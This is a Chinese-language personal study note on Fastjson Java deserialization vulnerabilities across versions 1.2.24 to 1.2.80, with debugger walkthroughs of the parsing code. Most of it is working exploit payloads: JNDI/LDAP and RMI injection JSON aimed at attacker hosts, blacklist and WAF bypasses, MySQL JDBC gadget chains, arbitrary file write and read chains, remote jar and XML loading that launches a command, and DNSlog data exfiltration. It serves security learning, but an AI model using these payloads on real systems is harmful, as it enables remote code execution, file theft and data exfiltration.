介绍
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson 源码地址:https://github.com/alibaba/fastjson
Fastjson 中文 Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
简单来说,他可以把java对象转换成json格式进行传输,有点类似于序列化和反序列化,便于数据传输,没有序列化接口的限制。
fastjson反序列化漏洞
当使用parse和parseObject处理数据时,在json数据中使用@type可以指定加载的类及数据,从而导致恶意字节码加载等操作
<=1.2.24 特别细致的讲解
这个版本没啥限制啊,打templatesImpl的无所谓,打jndi注入的时候要注意jdk版本
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64后的字节码"],
"_name":"Aecous",
"_tfactory":{},
"_outputProperties":{}
}
or
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap",
"autoCommit":true
}
poc
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
//获取一个执行命令的恶意类
byte[] calcs = tools.getshortclass("calc");
String poc = Base64.getEncoder().encodeToString(calcs);
String payload ="{\n" +
" \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\":[\""+poc+"\"],\n" +
" \"_name\":\"Aecous\",\n" +
" \"_tfactory\":{},\n" +
" \"_outputProperties\":{}\n" +
"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
进入parseObject
强转换,并调用parse,继续调用其他的parse
当作参数新建了一个JSONparse,继续调用parse函数
switch进入parseObject
从poc中以“分割提取出第一个参数为@type
满足条件,加载templatesImpl类
回到上一步,进入getDeserializer函数,clazz为加载的templatesImpl类
继续进入getDeserializer,并将templatesImpl作为参数传入
经过一系列的类型判断,进入createJavaBeanDeserializer
执行new JavaBeanDeserializer
进入JavaBeanInfo.build
通过反射获取类中所有的method和fields
遍历method
判断是否存在set 或 get开头,并且还有一些条件,像get开头的还要判断参数数量
会将满足条件的name去除开头 ,并添加fieldList中,注意此处method还是原来的名字
遍历结束后,会新建一个javaBeanInfo
对各个属性进行赋值
并将fieldlist复制到fields中,最后会传递给this.sortedFields
返回,进入另一个JavaBeanDeserializer
beanInfo就是我们build返回的类对象,会遍历其中sortedFields,对sortedFieldDeserializers进行赋值
返回,进入 deserializer.deserialze(this, clazz, fieldName);
一直向下
从sortedFieldDeserializers中取值赋于fieldDeser
当遍历完数组,fieldDeser为null时,
开始获取json数据中的参数
取出参数,一直向下,进入parseField
遍历templatesImpl类中的属性,判断是否存在该属性
向下
当轮到templatesImpl中的_outputProperties参数时
进入smartMatch函数
将key中的下划线和中划线去除,保留outputProperties,并设置snakeOrkbab为true,进入下面的if中的getFieldDeserializer(key2)
一个二分法查找,匹配到sortedFieldDeserializers中的outputProperties,并返回outputProperties方法对象
回到上级,再次返回该对象
最终调用此对象的parseField方法
进入setValue函数
从outputProperties获取其方法名,也就是getoutputProperties
方法名获取不为空,经过一系列判断,最终反射调用
1.2.25 — 1.2.41
在这个版本进行了大改,增加了一个autotype,默认为false
当autotype为false时只允许反序列化白名单中的类,但是默认情况下白名单是空的
当autotype为true时,基于内置黑名单来实现安全检测
增加了checkAutoType方法,在该方法中进行黑白名单的校验
将autoType设置为true,我们来看看反序列化做了啥改动,用的还是上面的1.2.24的poc
在检测key是否是@type时,多了一条checkAutoType,并将@type对应的类名传入
会在黑名单中匹配是否存在对应的类名,如果匹配到则抛出异常
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.1.13:1389/e86vb9",
"autoCommit":true
}
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://192.168.1.13:1389/e86vb9\", \"autoCommit\":true}";
JSON.parse(PoC);
}
这里类用的是Lcom.sun.rowset.JdbcRowSetImpl,为啥要这个L呢?看看
有了这个L,就轻松的绕过了黑名单里的com.sun,因为那玩意是从头开始匹配的,在下面会进行一个loadclass
进入之后,可以看见,如果开头是L结尾是分号(;),就会截取中间内容,又变回了com.sun,然后在使用loadClass加载
1.2.25 —1.2.42
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://192.168.1.13:1389/e86vb9",
"autoCommit":true
}
checkAutoType中加了一层,截取掉首位和尾位,然后再去检测黑名单,
但是后面loadClass中还是会去掉L和;,所以双写即可绕过
1.2.25 — 1.2.43
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://",
"autoCommit":true
}
和上面一样,避开了黑名单,进loadclass
className.substring(1)截取出com.sun.rowset.JdbcRowSetImpl,创建出类
在后续的加载中,token影响到漏洞的利用,token是读取你数据外的字节来赋予对应的值,所以下面来讲解token的流程
ch第一次从json数据中取值时,首位为{,那就赋值为12
当经过了checkAutoType之后,会使用lexer.nextToken(JSONToken.COMMA);再次为token赋值
重点是看ch,ch是我们下一个读的字符,也就是 “[com.sun.rowset.JdbcRowSetImpl”后面的[
在next函数中找到对应的【,赋值为14
后面进入parseArray判断token值是否等于14,不等于就抛出异常G了
接着再读一个token
ch之前在不知道哪个函数里再次读取字符赋值了,我又不可能一个个函数步入进去看,很累
ch为{,为token赋值为12
为token赋值就是为了绕过JavaBeanDeserializer中deserialize函数中的if判断,当token为12或16时即可不进if,进了if好像就会抛出异常报错了,具体功能我就没去理解了,然后16对应的是,会被json数据识别,所以只能用{
后续就是正常的为类属性赋值,set方法调用了
1.2.25 — 1.2.45 myBatis依赖
新的版本中增加了对【的检测,所以之前的就失效了
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://localhost:1389/badNameClass"
}
}
这里就丢个poc了,本质就是黑名单里没这个玩意,所以可以绕过
1.2.25 — 1.2.47
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
未开启AutoTypeSupport
进入checkAutoType
避开了if里对类型的检测
进入findclass
class类是在白名单里的,所以发挥class实例
再后续的deserialize时,clazz满足Class.class,进入loadClass,strVal为对应的值
满足条件,将jdbc添加刀了mappings中
当处理数据b时,再次使用TypeUtils.getClassFromMapping(typeName),便会从mappings中取出jdbc类
后续就是正常的赋值与触发getter
开启AutoTypeSupport
开启的话就会进入checkAutoType中的if判断,上面会取类名进行hash对比,class一样正常过
之后进入deserialize和上面一样,把jdbc添加进了mappings中
下面进b,还是来到checkAutoType中,jdbc库在黑名单中,满足了第一个要求,但是if判断还有另一个要求TypeUtils.getClassFromMapping(typeName) == null,我们上面通过class类将jdbc类型put进了mappings中,所以此处不为null,导致不会抛出异常,继续往下走,剩下的流程和上面一样了
高版本配合依赖
<1.2.66
基于黑名单绕过,要求autoTypeSupport为true才能使用,1.2.25版本后默认为false
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}
<=1.2.68
JDBC
https://sumsec.me/2021/Fastjson_Mysql_gadget%E5%A4%8D%E7%8E%B0.html
JDBC的依赖,一般配合fake mysql打一些依赖的链子
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.30</version>
</dependency>
poc
//Mysql connector 5.1.11-5.1.48
{"name": {"@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }}
//Mysql connector 6.0.2 or 6.0.3
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy": {"connectionString":{"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"}}}
//Mysql connector 8.0.19
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{"host":"127.0.0.1"}], "slaves":[],"properties":{"host":"127.0.0.1","user":"CommonsCollections5","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}
commons-io 读写文件
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
原生jdk>=11
修改array和limit,append为false是覆盖内容,为true是追加内容
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
文件内容构造脚本
from itsdangerous import base64_encode
import zlib
cc='Test123'.encode()
ccc=zlib.compress(cc)
print(len(ccc))
print(base64_encode(ccc))
commons IO 2.x写文件 支持JDK8
长度要求>8196,但是实际写入内容只有8192,配合java任意文件写入RCE使用,不过好像不一定能成,因为写入的数据最多8kb
https://landgrey.me/blog/22/
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io读取文件
前提是存在数据的回显,比如return反序列化后数据
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file://"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
<=1.2.80
后面的修复就是将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单
1.2.80主要用异常类Throwable
http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#KCon2022-fastjson-1-2-80
https://y4er.com/posts/fastjson-1.2.80/
groovy
1.2.68的修复方式非常的简单粗暴,将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable
实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类
- fastjson版本: 1.2.76 <= fastjson < 1.2.83
- 存在groovy依赖
poc
https://github.com/Lonely-night/fastjsonVul/
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8000/attack-1.jar"
}
}
aspectj
- fastjson1.2.73-1.2.80
- 依赖aspectjtools
poc
{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
//换poc3,dnslog带出数据
{ "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}
aspectj+ognl文件读取+dnslog回显
{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}
jython+postgresql+spring-context
{
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
小结
实际上fastjson还有非常多的利用链,只不过可能用起来过于苛刻,例如只能进行文件的字节盲注等,我就不记了,再以下的链接中都有
https://github.com/su18/hack-fastjson-1.2.80
https://myzxcg.com/2021/10/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%95%E8%BF%87%E4%B8%8E%E5%88%A9%E7%94%A8/#fastjson-%E7%BB%95%E8%BF%87
https://blog.csdn.net/Xxy605/article/details/123364720
https://www.cnblogs.com/Aurora-M/p/15683941.html
https://www.cnblogs.com/CoLo/p/15842880.html#fastjson-1225%E4%BF%AE%E5%A4%8D
https://xz.aliyun.com/t/9052#toc-10
https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#1-2-36%E7%89%88%E6%9C%AC%E5%89%8D
Fastjson Bypass
在很久之前有在y4✌的博客看见过,学习了一下,后面在一次护网面试中也被问到了这个问题,也算全部回答出来了,现在调试了fastjson就更深有体会
这边就当一下复制人了,因为我用的时候也会看笔记,所以就直接复制了
https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#%E5%88%9D%E7%BA%A7%E7%AF%87
空白字符绕过
com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace
public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= '/') {
if (this.ch == ' ' || this.ch == '\r' || this.ch == '\n' || this.ch == '\t' || this.ch == '\f' || this.ch == '\b') {
this.next();
continue;
}
if (this.ch == '/') {
this.skipComment();
continue;
}
}
return;
}
}
}
这是读取键值时候的操作,看函数名就应该能知道,跳过空白字符
空格 \r \n \t \f \b
逗号绕过
FastJson中有个默认的Feature是开启的AllowArbitraryCommas,这允许我们用多个逗号
//图也是原文的,我懒得截了
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true}
json字段名不被引号包括
也是一个默认开启的Feature,AllowUnQuotedFieldNames,但是只在恢复字段的过程调用当中有效果
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
||
\/
{"@type":"com.sun.rowset.JdbcRowSetImpl",dataSourceName:"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
json字段名使用单引号包裹
Feature.AllowSingleQuote也是默认开启,就是可以用单引号替代双引号
@type后值的第一个引号可以被替换
{"@type":xcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
编码绕过 unicode/hex
com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol中,当遇见了\u和\x会有解密操作
之前一题有遇见过,直接贴个poc
String payload = "{\n" +
" \"1\": {\n" +
" \"@\\u0074\\u0079\\u0070\\u0065\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"\n" +
" }, \n" +
" \"2\": {\n" +
" \"@\\u0074\\u0079\\u0070\\u0065\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\", \n" +
" \"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\": \"rmi://192.168.1.13:1099/v4v9uh\", \n" +
" \"\\u0061\\u0075\\u0074\\u006f\\u0043\\u006f\\u006d\\u006d\\u0069\\u0074\": true\n" +
" }\n" +
"}\n";
System.out.println(Base64.getEncoder().encodeToString(payload.getBytes()));
JSON.parse(payload);
对字段添加下划线和-号
<1.2.36
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField中
使用的smartMath会取出下划线和-号
具体可以看上面我分析templates链时,去掉了_output的那个,不过由于有break,所以只能用其中一种
{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
1.2.36
smartMatch调用了com.alibaba.fastjson.util.TypeUtils#fnv1a_64_lower
会直接忽略所有的_和-
{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a-t-aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
对属性前添加is >1.2.36
{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","isdataSourceName": "rmi://127.0.0.1:1099/Exploit","isautoCommit": true}}
还是在smartMathc中,遇见is开头的会去除
结尾
现在时间是04点38分,我好累,歇逼了,去yys打缘神活动了,回头还要去顺火暖清日常